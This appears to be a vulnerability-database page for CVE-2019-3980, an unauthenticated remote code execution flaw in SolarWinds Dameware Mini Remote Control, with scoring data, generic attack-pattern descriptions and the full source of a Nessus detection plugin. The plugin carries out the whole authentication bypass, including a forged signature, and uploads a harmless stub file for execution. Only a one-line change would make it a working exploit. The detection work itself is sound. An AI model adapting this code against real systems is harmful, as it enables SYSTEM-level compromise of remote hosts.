Vulnerabilities > CVE-2019-3980 - Origin Validation Error vulnerability in Solarwinds Dameware Mini Remote Control 12.1.0.89

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
solarwinds
CWE-346
critical
nessus

Summary

The Solarwinds Dameware Mini Remote Client agent v12.1.0.89 supports smart card authentication which can allow a user to upload an executable to be executed on the DWRCS.exe host. An unauthenticated, remote attacker can request smart card login and upload and execute an arbitrary executable run under the Local System account.

Vulnerable Configurations

Part Description Count
Application
Solarwinds
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • JSON Hijacking (aka JavaScript Hijacking)
    An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website. An attacker gets the victim to visit his or her malicious page that contains a script tag whose source points to the vulnerable system with a URL that requests a response from the server containing a JSON object with possibly confidential information. The malicious page also contains malicious code to capture the JSON object returned by the server before any other processing on it can take place, typically by overriding the JavaScript function used to create new objects. This hook allows the malicious code to get access to the creation of each object and transmit the possibly sensitive contents of the captured JSON object to the attackers' server. There is nothing in the browser's security model to prevent the attackers' malicious JavaScript code (originating from attacker's domain) to set up an environment (as described above) to intercept a JSON object response (coming from the vulnerable target system's domain), read its contents and transmit to the attackers' controlled site. The same origin policy protects the domain object model (DOM), but not the JSON.
  • Cache Poisoning
    An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
  • DNS Cache Poisoning
    A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An attacker modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the attacker specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Attackers can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
  • Exploitation of Session Variables, Resource IDs and other Trusted Credentials
    Attacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes "trust" other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points. Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers. The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.
  • Application API Message Manipulation via Man-in-the-Middle
    An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system. Despite the use of MITM software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Man-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

Nessus

NASL familyWindows
NASL idSOLARWINDS_DAMEWARE_MINI_REMOTE_CONTROL_CVE-2019-3980.NASL
descriptionThe SolarWinds Dameware Mini Remote Control Client Agent running on the remote host is affected by a remote code execution vulnerability due to improper validation of user-supplied data. An unauthenticated, remote attacker can exploit this, via a series of requests, to execute arbitrary code.
last seen2020-06-01
modified2020-06-02
plugin id130458
published2019-11-01
reporterThis script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/130458
titleSolarWinds Dameware Mini Remote Control Unauthenticated RCE
code
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");

if (description)
{
  script_id(130458);
  script_version("1.3");
  script_cvs_date("Date: 2019/12/18");

  script_cve_id("CVE-2019-3980");
  script_xref(name:"TRA", value:"TRA-2019-43");

  script_name(english:"SolarWinds Dameware Mini Remote Control Unauthenticated RCE");
  script_summary(english:"Checks server response");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a remote control application that is
affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The SolarWinds Dameware Mini Remote Control Client Agent running on
the remote host is affected by a remote code execution vulnerability
due to improper validation of user-supplied data. An unauthenticated,
remote attacker can exploit this, via a series of requests, to
execute arbitrary code.");
  # https://support.solarwinds.com/SuccessCenter/s/article/Dameware-Mini-Remote-Control-12-1-0-Hotfix-3-Release-Notes
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fee92693");
  script_set_attribute(attribute:"solution", value:
"Upgrade to SolarWinds Dameware Mini Remote Control v12.1 Hotfix 3 or
later, and make sure the running client agent (DWRCS.exe) is
v12.1.0.96 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-3980");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/10/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/10/18");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/11/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:dameware:mini_remote_control");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Windows");

  script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("find_service2.nasl");
  script_require_ports(6129, "Services/dameware");

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('misc_func.inc');
include('byte_func.inc');
include('string.inc');
include('kerberos_func.inc');

##
#
# Read a block of data
#
# @param socket socket to read data from
#
# @return a block of data or NULL on error.
#
##
function _recv_blk(socket)
{
  local_var data, size;

  # Read 0xc-byte msg header
  data = recv(socket:socket, length:0xc, min:0xc);

  if(strlen(data) != 0xc) return NULL;

  # Get msg body size
  size = getdword(blob:data, pos:8);

  # Body size should not be too big
  if (size > 0x100000) return NULL;

  # Get msg body
  data += recv(socket:socket, length:size);

  return data;
}

port = get_service(svc:'dameware', default:6129, exit_on_fail:TRUE);

soc = open_sock_tcp(port);
if (! soc) audit(AUDIT_SOCK_FAIL, port);

set_byte_order(BYTE_ORDER_LITTLE_ENDIAN);

#
# On connection, server sends MSG_TYPE_VERSION (0x00001130)
#
res = recv(socket:soc, length:0x28, min:0x28);
if(strlen(res) < 0x28 || getdword(blob:res, pos:0) != 0x0001130)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_VERSION message from server on port ' + port + '.');
}

#
# Client sends MSG_TYPE_VERSION (0x00001130)
# requesting smart card authentication
#
req = mkdword(0x1130)
  + '\x00\x00\x00\x00'
  + '\x00\x00\x00\x00\x00\x00\x28\x40'  # ProtocolMajorVersion (12)
  + '\x00\x00\x00\x00\x00\x00\x00\x00'  # ProtocolMinorVersion (0)
  + mkdword(4)
  + mkdword(0)
  + mkdword(0)
  # AuthType:
  #   0 - DW_REQUESTED_AUTHENTICATION_TYPE_BASIC (dwrcs user/pwd)
  #   1 - DW_REQUESTED_AUTHENTICATION_TYPE_NTCR (NTLMSSP)
  #   2 - DW_REQUESTED_AUTHENTICATION_TYPE_ENCRYPTED (encrypted OS creds)
  #   3 - DW_REQUESTED_AUTHENTICATION_TYPE_SMARTCARD
  + mkdword(3);
send(socket:soc, data:req);

#
# Server sends MSG_TYPE_CLIENT_INFORMATION_V7 (0x00011171)
#
res = recv(socket:soc, length:0x3af8, min:0x3af8,timeout:10);
if(strlen(res) < 0x3af8 || getdword(blob:res, pos:0) != 0x00011171)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_CLIENT_INFORMATION_V7 message from server on port ' + port + '.');
}

# Client sends MSG_TYPE_CLIENT_INFORMATION_V7 (0x00011171)
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends MSG_TYPE_RSA_CRYPTO_C_INIT (0x000105b8)
#
msg_len = 0x1220;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b8)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_RSA_CRYPTO_C_INIT message from server on port ' + port + '.');
}

#
# Client sends MSG_TYPE_RSA_CRYPTO_C_INIT (0x000105b8)
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends Msg 0x000105b9
#
msg_len = 0x2c2c;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b9)
{
  close(soc);
  exit(1, 'Failed to receive a message 0x000105b9 from server on port ' + port + '.');
}

# Get Server public key
pkey_len = getdword(blob:res, pos: 0x140c);
if(pkey_len != 0x10 && pkey_len != 0x2b)
{
  close(soc);
  exit(1, 'Unexpected server public key size ' + pkey_len + ' in a key exchange message from server on port ' + port + '.');
}
srv_pubkey = substr(res, 0x100c, 0x100c + pkey_len -1);

# DH (load dwrcrss.dll)
if(pkey_len == 0x10)
{
  dh_prime = raw_string(
  0xF5, 0x1F, 0xFB, 0x3C, 0x62, 0x91, 0x86, 0x5E,
  0xCD, 0xA4, 0x9C, 0x30, 0x71, 0x2D, 0xB0, 0x7B
  );

  dh_gen = raw_string(3);
  clt_privkey = rand_str(length:16);
  # g^x mod p
  clt_pubkey  = bn_mod_exp(dh_gen, clt_privkey, dh_prime);
  shared_secret = bn_mod_exp(srv_pubkey, clt_privkey, dh_prime);

  # Sign the DH shared secret with SHA512withRSA
  n = raw_string(
    0x00,0xad,0x8c,0x81,0x7b,0xc7,0x0b,0xca,0xf7,0x50,0xbb,0xd3,0xa0,0x7d,0xc0,
    0xa4,0x31,0xe3,0xdd,0x28,0xce,0x99,0x78,0x05,0x92,0x94,0x41,0x03,0x85,0xf5,
    0xf0,0x24,0x77,0x9b,0xb1,0xa6,0x1b,0xc7,0x9a,0x79,0x4d,0x69,0xae,0xcb,0xc1,
    0x5a,0x88,0xb6,0x62,0x9f,0x93,0xf5,0x4b,0xca,0x86,0x6c,0x23,0xae,0x4f,0x43,
    0xac,0x81,0x7c,0xd9,0x81,0x7e,0x30,0xb4,0xcc,0x78,0x6b,0x77,0xd0,0xbb,0x20,
    0x1c,0x35,0xbe,0x4d,0x12,0x44,0x4a,0x63,0x14,0xec,0xfc,0x9a,0x86,0xa2,0x4f,
    0x98,0xb9,0xb5,0x49,0x5f,0x6c,0x37,0x08,0xc0,0x1d,0xd6,0x33,0x67,0x97,0x7c,
    0x0d,0x36,0x62,0x70,0x25,0xd8,0xd4,0xe8,0x44,0x61,0x59,0xe3,0x61,0xca,0xb8,
    0x9e,0x14,0x14,0xaa,0x2f,0xcb,0x89,0x10,0x1b
  );

  d = raw_string(
    0x00,0xa1,0x60,0xcf,0x22,0xd7,0x33,0x3b,0x18,0x00,0x85,0xb7,0xc3,0x3c,0x4c,
    0x3f,0x22,0x79,0x3d,0xb4,0xed,0x70,0x3d,0xf0,0x08,0x9e,0x3d,0x5a,0x56,0x5e,
    0x1c,0x60,0xfc,0xab,0xd5,0x64,0x9d,0xde,0x5c,0xe1,0x41,0x3f,0xed,0x9f,0x60,
    0x7b,0x9c,0x36,0xe4,0xbc,0x78,0xec,0x16,0xff,0x0b,0x42,0x51,0x67,0x8c,0x23,
    0x64,0xac,0xbf,0xf8,0xcb,0xed,0xe8,0x46,0x66,0x40,0x8f,0x70,0x46,0x10,0x9c,
    0x63,0x07,0x74,0x33,0x64,0x26,0x25,0xa6,0x34,0x43,0x8f,0x95,0xa9,0x70,0xd1,
    0x40,0x69,0x0b,0xf8,0xc8,0x62,0x5f,0x8d,0xe8,0x8f,0xc4,0x46,0xbf,0x09,0xab,
    0x83,0x68,0xfe,0x5f,0x2d,0x2d,0x3b,0xd9,0xf5,0xd5,0x32,0x34,0xbc,0x37,0x17,
    0xcb,0x13,0x50,0x96,0x6e,0x26,0x82,0xc2,0x39
  );

  e = raw_string(0x01, 0x00, 0x01);
  hash = SHA512(shared_secret);

  # OID for SHA512
  oid = '2.16.840.1.101.3.4.2.3';
  oid = der_encode_oid(oid:oid);

  # Hash OID with NULL parameters
  hash_id = der_encode(tag:0x30, data:oid + '\x05\x00');
  hash = der_encode(tag:0x4, data: hash);
  data = der_encode(tag:0x30, data:hash_id + hash);

  # Signature to be send to the server
  sig = rsa_private_encrypt(data:data, d:d, n:n, e:e);

  # The RSA public key to be sent to the server so that it can verify
  # the signature.
  ne = der_encode(tag:2, data:n) + der_encode(tag:2, data:e);
  pubkey = der_encode(tag:0x30, data:ne);
}
# ECDH (load dwrcrsa.dll)
else
{
  # dwrcrsa.dll uses a custom/unamed EC curve defined as follows:
  p = raw_string(
    0x06, 0xaa, 0xfb, 0xfb, 0x70, 0x6b, 0xc9, 0x37,
    0xab, 0x4d, 0x86, 0x11, 0xb2, 0x39, 0x5f, 0x67,
    0x56, 0x6b, 0xd9, 0x8a, 0x6d
  );

  a = raw_string(
    0x06, 0xaa, 0xfb, 0xfb, 0x70, 0x6b, 0xc9, 0x37,
    0xab, 0x4d, 0x86, 0x11, 0xb2, 0x39, 0x5f, 0x67,
    0x56, 0x6b, 0xd9, 0x8a, 0x6a
  );

  b = raw_string(
    0x0c, 0x6e, 0x5c, 0xa4, 0x9c, 0x46, 0x9d, 0xcd,
    0xd2, 0x58, 0x42, 0xbd, 0xe3, 0x19, 0xb2, 0xfb,
    0xff, 0xe3, 0x42, 0xe5
  );

  gx = raw_string(
    0x02, 0x25, 0x81, 0x11, 0x63, 0x60, 0x05, 0x22,
    0x5f, 0x5a, 0x3d, 0x4d, 0xa6, 0x71, 0x6b, 0x36,
    0xd3, 0xbb, 0x14, 0xf9, 0xd1
  );

  g = raw_string(0x04) + gx +
      # gy
      raw_string(
        0x03, 0x5c, 0x13, 0x77, 0x6b, 0x8a, 0x3b, 0xc9,
        0xb1, 0x65, 0x40, 0x4f, 0xbb, 0x72, 0xe0, 0x64,
        0xe4, 0x8e, 0xc3, 0xc4, 0x2f
      );

  n = raw_string(
    0x6a, 0xaf, 0xbf, 0xb7, 0x06, 0xbc, 0x93, 0x7a,
    0xb4, 0xd8, 0x50, 0xb1, 0xb0, 0x97, 0xc5, 0x31,
    0x69, 0x16, 0xc6, 0xd1
  );

  h = raw_string(0x10);

  # Use d = 1, so the public key is just g
  clt_pubkey = g;

  # Because we use d = 1, the shared secret is just
  # the x coordinate of the server public key
  shared_secret = substr(srv_pubkey, 1, 0x15);

  #
  # Sign the ECDH shared secret with SHA1withECDSA
  #
  # Use the same curve for ECDSA
  # Use k = 1, d = 1
  hash = SHA1(shared_secret);

  r = bn_mod(gx, n);
  s = bn_mod_add(hash,r,n);

  # Pad if needed
  if(strlen(r) < strlen(n))
    r = crap(data:'\x00', length: strlen(n) - strlen(r)) + r;

  if(strlen(s) < strlen(n))
    s = crap(data:'\x00', length: strlen(n) - strlen(s)) + s;

  # The signature to be sent to the server
  sig = der_encode(tag:2, data:r) + der_encode(tag:2, data:s);
  sig = der_encode(tag:0x30, data:sig);

  # The EC public key to be sent to the server so that it can verify
  # the signature.
  #
  # RFC 3279, ECParameters ::= SEQUENCE
  ver = der_encode(tag:2, data:'\x01');
  oid = '1.2.840.10045.1.1'; # id-prime-Field
  oid = der_encode_oid(oid:oid);
  field = oid + der_encode(tag:2,data:p);
  field = der_encode(tag:0x30, data:field);
  curve = der_encode(tag:4, data:a) + der_encode(tag:4, data:b);
  curve = der_encode(tag:0x30, data:curve);
  base = der_encode(tag:4, data:g);
  order = der_encode(tag:2, data:n);
  cofactor = der_encode(tag:2, data:h);
  params = ver + field + curve + base + order + cofactor;
  params = der_encode(tag:0x30, data:params);

  # RFC 5280, SubjectPublicKeyInfo ::= SEQUENCE
  oid = '1.2.840.10045.2.1'; # id-ecPublicKey
  oid = der_encode_oid(oid:oid);
  alg = der_encode(tag:0x30, data: oid + params);

  # Because d = 1, the public key is just g
  pubkey = der_encode(tag:3, data:'\x00' + g);
  pubkey = der_encode(tag:0x30, data:alg + pubkey);
}

# Compute shared secret addsum
clt_addsum = 0;
for (i = 0; i < strlen(shared_secret); i++)
  clt_addsum += ord(shared_secret[i]);

#
# Client sends Msg 0x000105b9
#
req = mkdword(0x000105b9);

# Server public key at offset 0x100c, up to 0x400 bytes
req += crap(data:'\x00', length:0x100c - strlen(req));
req += rpad(srv_pubkey, 0x400, char:'\x00');

# Length of server public key
req += mkdword(strlen(srv_pubkey));
# Client public key at offset 0x1418, up to 0x400 bytes
req += crap(data:'\x00', length:0x1418 - strlen(req));
clt_privkey = rand_str(length:16);
# Write client public key
req += rpad(clt_pubkey, 0x400, char:'\x00');
# Write client public key length
req += mkdword(strlen(clt_pubkey));
# Pad to msg_len
req += crap(data:'\x00', length: msg_len - strlen(req));
send(socket:soc, data:req);

#
# Server sends another msg 0x000105b9.
#
# This msg includes the length and addsum of the shared secret
#
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b9)
{
  close(soc);
  exit(1, 'Failed to receive the second message 0x000105b9 from server on port ' + port + '.');
}

# Server-computed addsum of the shared secret
srv_addsum = getdword(blob:res, pos: 0x181c + 4);
if(srv_addsum != clt_addsum)
{
  close(soc);
  exit(1, "Client-computed DH/ECDH shared secret not matched with server's.");
}

#
# Client sends another msg 0x000105b9
#
req = mkdword(0x000105b9);
# Server public key at offset 0x100c, up to 0x400 bytes
req += crap(data:'\x00', length:0x100c - strlen(req));
req += rpad(srv_pubkey, 0x400, char:'\x00');
# Length of server public key
req += mkdword(strlen(srv_pubkey));
# Length of client-computed shared secret
req += mkdword(strlen(shared_secret));
# Addsum of client-computed shared secret
req += mkdword(clt_addsum);
# Client public key offset 0x1418, up to 0x400 bytes
req += rpad(clt_pubkey, 0x400, char:'\x00');
# Length of client public key
req += mkdword(strlen(clt_pubkey));
# Length of server-computed shared secret
req += mkdword(strlen(shared_secret));
# Addsum of server-computed shared secret
req += mkdword(srv_addsum);
# Signature at offset 0x1824, up to 0x800 bytes
req += rpad(sig, 0x800, char:'\x00');
# Length of the signature
req += mkdword(strlen(sig));
# Public key used to verify the signature
req += rpad(pubkey, 0x800, char:'\x00');
# Length of the public key
req += mkdword(strlen(pubkey));
# Pad to msg_len
req += crap(data:'\x00', length: msg_len - strlen(req));
send(socket:soc, data:req);

#
# If the server is able to verify the signature it sends a
# MSG_REGISTRATION_INFORMATION (0x0000b004).
#
# If the server is unable to verify the signature it closes the
# connection.
#
msg_len = 0xc50;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x0000b004)
{
  close(soc);
  exit(1, 'Failed to receive a MSG_REGISTRATION_INFORMATION from server on port ' + port + '.');
}

# Client sends a MSG_REGISTRATION_INFORMATION
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends a MSG_SOCKET_ADD (0x00010626)
#
msg_len = 0x224;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x00010626)
{
  close(soc);
  exit(1, 'Failed to receive a MSG_SOCKET_ADD from server on port ' + port + '.');
}

#
# Server sends a msg 0x0000d6e2
#
msg_len = 0x1438;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x0000d6e2)
{
  close(soc);
  exit(1, 'Failed to receive a message 0x0000d6e2 from server on port ' + port + '.');
}


#
# Client sends a msg 0x0000d6e2
# Should be able to use the one sent by the server
#
send(socket:soc, data:res);


#
# Server sends msg 0x0000d6f6 2 times
# This msg is variable length.
#
for(i = 0; i < 2; i++)
{
  res = _recv_blk(socket:soc);
  if(strlen(res) < 12 || getdword(blob:res, pos:0) != 0x0000d6f6)
  {
    close(soc);
    exit(1, 'Failed to receive a message 0x0000d6f6 from server on port ' + port + '.');
  }
}

#
# Now we are in the right state to send our dwDrvInst.exe.
#
data = 'MZ'; # Content saved as dwDrvInst.exe in
             # C:\Windows\Temp.
             # The exe is passed to CreateProcess().
req =  mkdword(0xd6f6);
req += mkdword(2);
req += mkdword(strlen(data));
req += data;
send(socket:soc, data:req);

# Long timeout: server can be slow to respond
res = recv(socket:soc, length:0x1438,timeout:30);
sock_err = socket_get_error(soc);
close(soc);

#
# Patched dwrcs.exe signature checks the file we sent. The check
# would fail and the server will close the connection.
#
if(isnull(res) && sock_err == ECONNRESET)
    audit(AUDIT_HOST_NOT, 'affected');
#
# Vulnerable dwrcs.exe attempted to execute the file we sent. Because
# we specified a file that is not executable, the server sends back
# a 0x0000D6EC msg.
#
else if(strlen(res) > 4 && getdword(blob:res, pos:0) == 0x0000d6ec)
  security_report_v4(port: port,severity: SECURITY_HOLE);
else
  audit(AUDIT_RESP_BAD, port);